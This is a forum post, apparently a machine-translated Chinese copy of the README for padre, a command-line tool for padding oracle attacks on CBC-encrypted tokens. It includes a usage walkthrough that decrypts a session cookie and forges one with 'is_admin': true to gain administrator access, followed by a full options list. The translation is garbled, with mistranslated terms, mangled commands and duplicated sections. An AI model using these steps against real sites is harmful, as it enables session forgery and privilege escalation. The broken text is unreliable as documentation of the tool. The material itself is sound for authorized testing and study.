taibeihacker
Moderator
padre是用于针对CBC模式加密的填充甲骨文攻击的高级资源管理器
功能:
快速,同时实施的命令对任意数据的代币加密自动指纹识别填充物的自动指纹自动检测密码块长度提示!如果在操作过程中发生故障,Padre将暗示您可以在get/post参数中进行支持代币,cookie的弹性规范(base64,hex等)
另外,如果您已安装,请从源构建:
Go los install install github.com/glebarez/padre@latest
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg==' padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed.如果服务器确实很脆弱,则提供的令牌将被解密到:
{'user_id': 456,'is_admin': false}看起来您可以在这里提高特权!
您可以通过首先生成自己的加密数据来尝试这样做
padre -u'https://target.site/profile.php'-cookie'sess=$'-enc'-enc'{'user_id': 456,'is_admin': true}
DGHPCYBPCYBQDXN0IGFUIGV4YW1WBGU=现在您可以打开浏览器并将sess cookie的值设置为上述值。加载原始的Oracle页面,您现在应该看到您已升高到管理级别。
Input:
在解密模式:加密数据
在加密模式:中
如果未通过,将从stdin读取
Note:二进制数据始终在HTTP中编码。根据需要调整编码规则(请参阅Options: -E,-R)
Options:
-u *必需*
目标URL,使用$字符定义令牌占位持有人(如果在URL中存在)
-enc
加密模式
-犯错
正则响应机构将与此匹配,以检测填充甲骨文。省略执行自动指纹
-e
编码以应用于二进制数据。支持的值:
B64(标准base64) *默认*
LHEX(小写十六进制)
-r
编码二进制数据后,要应用的其他替换。使用奇怪的字符串,由成对的字符oldnew组成。
示例:
如果服务器使用base64,但用'!'','+'with' - ','='with'〜'替换'/'+',则使用-r'/!+ - =〜'
-曲奇饼
cookie值将在HTTP请求中设置。使用$字符标记令牌占位符。
-邮政
字符串数据以执行发布请求。使用$字符标记令牌占位符。
-ct
邮政请求的内容类型。如果未指定,则将自动确定内容类型。
-b
密码中使用的块长度(使用16用于AE)。省略执行自动检测。支持的值:
8
16 *默认*
32
-p
与目标服务器建立的并行HTTP连接的数量[1-256]
30 *默认*
-代理人
HTTP代理。例如使用-proxy'http://localhost:8080'用于打bur或zap
功能:
快速,同时实施的命令对任意数据的代币加密自动指纹识别填充物的自动指纹自动检测密码块长度提示!如果在操作过程中发生故障,Padre将暗示您可以在get/post参数中进行支持代币,cookie的弹性规范(base64,hex等)
Demo
3Installation/Update
最快的方法是从最新版本中下载用于您的操作系统的预编译的二进制文件另外,如果您已安装,请从源构建:
Go los install install github.com/glebarez/padre@latest
Usage scenario
如果找到可疑的填充甲骨文,将加密的数据存储在名为SESS的cookie中,则可以使用以下:padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg==' padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed.如果服务器确实很脆弱,则提供的令牌将被解密到:
{'user_id': 456,'is_admin': false}看起来您可以在这里提高特权!
您可以通过首先生成自己的加密数据来尝试这样做
padre -u'https://target.site/profile.php'-cookie'sess=$'-enc'-enc'{'user_id': 456,'is_admin': true}
DGHPCYBPCYBQDXN0IGFUIGV4YW1WBGU=现在您可以打开浏览器并将sess cookie的值设置为上述值。加载原始的Oracle页面,您现在应该看到您已升高到管理级别。
Impact of padding Oracles
披露加密的会话信息绕过身份验证,提供了伪造的代币,服务器通常会信任,攻击表面的广泛扩展Full usage options
usage: padre [options] [options] [input] [input]Input:
在解密模式:加密数据
在加密模式:中
如果未通过,将从stdin读取
Note:二进制数据始终在HTTP中编码。根据需要调整编码规则(请参阅Options: -E,-R)
Options:
-u *必需*
目标URL,使用$字符定义令牌占位持有人(如果在URL中存在)
-enc
加密模式
-犯错
正则响应机构将与此匹配,以检测填充甲骨文。省略执行自动指纹
-e
编码以应用于二进制数据。支持的值:
B64(标准base64) *默认*
LHEX(小写十六进制)
-r
编码二进制数据后,要应用的其他替换。使用奇怪的字符串,由成对的字符oldnew组成。
示例:
如果服务器使用base64,但用'!'','+'with' - ','='with'〜'替换'/'+',则使用-r'/!+ - =〜'
-曲奇饼
cookie值将在HTTP请求中设置。使用$字符标记令牌占位符。
-邮政
字符串数据以执行发布请求。使用$字符标记令牌占位符。
-ct
邮政请求的内容类型。如果未指定,则将自动确定内容类型。
-b
密码中使用的块长度(使用16用于AE)。省略执行自动检测。支持的值:
8
16 *默认*
32
-p
与目标服务器建立的并行HTTP连接的数量[1-256]
30 *默认*
-代理人
HTTP代理。例如使用-proxy'http://localhost:8080'用于打bur或zap